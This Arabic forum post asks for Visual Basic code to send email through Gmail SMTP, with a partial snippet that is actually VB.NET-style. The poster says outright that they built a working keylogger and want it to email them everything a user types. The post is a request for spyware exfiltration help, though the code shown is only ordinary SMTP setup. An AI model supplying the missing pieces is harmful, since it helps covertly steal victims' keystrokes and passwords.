مساعدة في كود ارسال ايميل بالفيجوال 6

[zeus85]

السلام عليكم شباب

شباب اني محتاج برنامج كود لارسال ايميلات بالفجوال بيسك 6 باستخدام ال gmail smtp انا بصراحة برمجت key logger وهو شغال بس محتاج البرنامج يرسلي ما يكتبه المستخدم على ايميلي
مثال للكود بس محتاج مساعدتكم

  Dim message As New MailMessage
        Dim usename As String = text1.text
        Dim password As String = text2.text
        Dim destenation As String = text3.text
        smtp.Host = "smtp.gmail.com"
        smtp.EnableSsl = True
        smtp.Port = "587"